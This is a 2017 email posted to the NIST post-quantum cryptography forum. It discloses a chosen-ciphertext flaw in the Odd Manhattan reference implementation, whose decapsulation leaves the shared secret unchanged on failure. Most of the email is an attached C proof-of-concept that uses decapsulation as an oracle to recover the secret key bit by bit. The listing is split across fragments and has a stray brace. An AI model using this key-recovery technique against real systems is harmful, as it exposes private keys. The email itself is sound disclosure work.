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**Sent:** Friday, December 29, 2017 9:24 AM  
**To:** pqc-comments  
**Cc:** pqc-forum@list.nist.gov  
**Subject:** OFFICIAL COMMENT: Odd Manhattan

Dear Thomas, dear all,

The current reference implementation of Odd Manhattan fails to achieve CCA security. Indeed, even though the implementation re-encrypts during decapsulation, in case of failure, it sets the return flag to -1 *\*without modifying\** the shared secret ss. It is therefore possible to run a CCA attack where one discards the return flag and exploits what is in ss to guess the secret key.

Find attached an attack script to be put in the Reference\_Implementation directory and to run as follows:

```
$ gcc -Ofast -DNDEBUG -lcrypto -lgmp attack.c rng.c kem.c -o attack  
$ ./attack
```

This attack can be avoided if proper action is taken in case of failure.

Kind regards,  
Tancrede Lepoint.

PS: As a side remark, only the first P bytes of the secret key are used during decapsulation, hence Section 4.2 of Algorithm\_Specifications.pdf could be revisited.

attack.c

```
// Run the attack as follows:
// $ gcc -Ofast -DNDEBUG -lcrypto -lgmp attack.c rng.c kem.c -o attack
// $ ./attack
//

#include <stdio.h>
#include <string.h>
#include "api.h"
#include "assert.h"
#include "gmp.h"
#include "rng.h"

/// global variables
unsigned char pk[CRYPTO_PUBLICKEYBYTES], sk[CRYPTO_SECRETKEYBYTES];
unsigned char ss0[CRYPTO_BYTES];
unsigned char ss1[CRYPTO_BYTES];

/// CCA oracle
int oracle_dec(unsigned char* ct) {
    unsigned char ss[CRYPTO_BYTES];

    int ret = crypto_kem_dec(ss, ct, sk);

    // we should have a CCA failure, but we ignore the return code :)
    assert(ret == -1);
    // we should have ss == ss0 or ss == ss1
    assert(memcmp(ss, ss0, CRYPTO_BYTES) == 0 ||
           memcmp(ss, ss1, CRYPTO_BYTES) == 0);

    // return b where ss == ssb
    return (memcmp(ss, ss1, CRYPTO_BYTES) == 0);
}

/// Decrypt with guess (from kem.c)
int decrypt_with_guess(mpz_t ciphertext, mpz_t quotient, const mpz_t guess,
                      const mpz_t det) {
    int r0 = 0;
    mpz_mul(ciphertext, ciphertext, guess);
    mpz_mod(ciphertext, ciphertext, det);

    // Extract m
    mpz_add_ui(quotient, ciphertext, C / 2);
    if (mpz_sizeinbase(quotient, 2) >= N)
        r0 += (char)(mpz_odd_p(ciphertext) == 0);
    else
        r0 += (char)(mpz_even_p(ciphertext) == 0);
    return r0;
}

int main() {
    /// Initialize randomness (attack should work for any value)
    unsigned char entropy_input[48];
    for (int i = 0; i < 48; i++) entropy_input[i] = i;
    randombytes_init(entropy_input, NULL, 256);

    /// Get shared keys corresponding to
    /// two target seeds: seed = 00...00 and seed = ff...ff00...00
    unsigned char seed[32];

    AES_XOF_struct ctx[1];
    unsigned char diversifier[8] = {0};
    unsigned long maxlen = 4294967295;
}
```

attack.c

```

memset(seed, 0, 32);
seedexpander_init(ctx, seed, diversifier, maxlen);
memset(ss0, 0, CRYPTO_BYTES);
seedexpander(ctx, ss0, CRYPTO_BYTES);

memset(seed, 255, 16);
memset(seed + 16, 0, 16);
seedexpander_init(ctx, seed, diversifier, maxlen);
memset(ss1, 0, CRYPTO_BYTES);
seedexpander(ctx, ss1, CRYPTO_BYTES);

/// Generate key pair
crypto_kem_keypair(pk, sk);

/// Compute determinant
mpz_t det;
mpz_init(det);
mpz_ui_pow_ui(det, 2, N);
mpz_sub_ui(det, det, C);

/// Attack!
mpz_t guess, ciphertext, quotient;
mpz_inits(guess, ciphertext, quotient, NULL);
unsigned char ct[CRYPTO_CIPHERTEXTBYTES];
unsigned char expected = 0;
for (int i = 0; i < P; i++) {
    printf("%d/%d\n", i + 1, P);
    for (int j = 0; j < 8; j++) {
        if (8 * i + j >= N) break; // we should have everything
        if (8 * i + j == 0) continue; // the attack starts at 1

        // set all ciphertexts to 2^(8i+j)
        mpz_set_ui(ciphertext, 0);
        mpz_setbit(ciphertext, i * 8 + j);

        // transform mpz_t into array of bytes
        memset(ct, 0, CRYPTO_CIPHERTEXTBYTES);
        for (int k = 0; k < CRYPTO_CIPHERTEXTBYTES / P; k++)
            mpz_export(&(ct[k * P]), NULL, -1, 1, -1, 0, ciphertext);

        // call oracle
        int b = oracle_dec(ct);

        if (b != expected) {
            // update our guess
            mpz_setbit(guess, N - 1 - (i * 8 + j));
        }

        /// update the "expected" value
        mpz_clrbit(ciphertext, i * 8 + j);
        mpz_setbit(ciphertext, i * 8 + j + 1);
        expected = decrypt_with_guess(ciphertext, quotient, guess, det);
    }
}

/// Transform mpz_t into array of bytes
unsigned char guessed_sk[CRYPTO_SECRETKEYBYTES];
mpz_export(&guessed_sk, NULL, -1, 1, -1, 0, guess);

/// Success
if (memcmp(guessed_sk, sk, P) == 0) {
    printf(
        "Success! The attack recovered the P first bytes of sk (which are the "

```

```

                                attack.c
    "only ones used in crypto_kem_dec.\n");
} else {
    printf("Failure.\n");
    gmp_printf("guess = %Zd\n", guess);
    mpz_t secret_key;
    mpz_init(secret_key);
    mpz_import(secret_key, P, -1, 1, -1, 0, sk);
    gmp_printf("sk=%Zd\n", secret_key);
    gmp_printf("det=%Zd\n", det);
    mpz_clear(secret_key);
}

// OCD
mpz_clears(ciphertext, quotient, guess, det, NULL);

return 0;
}

```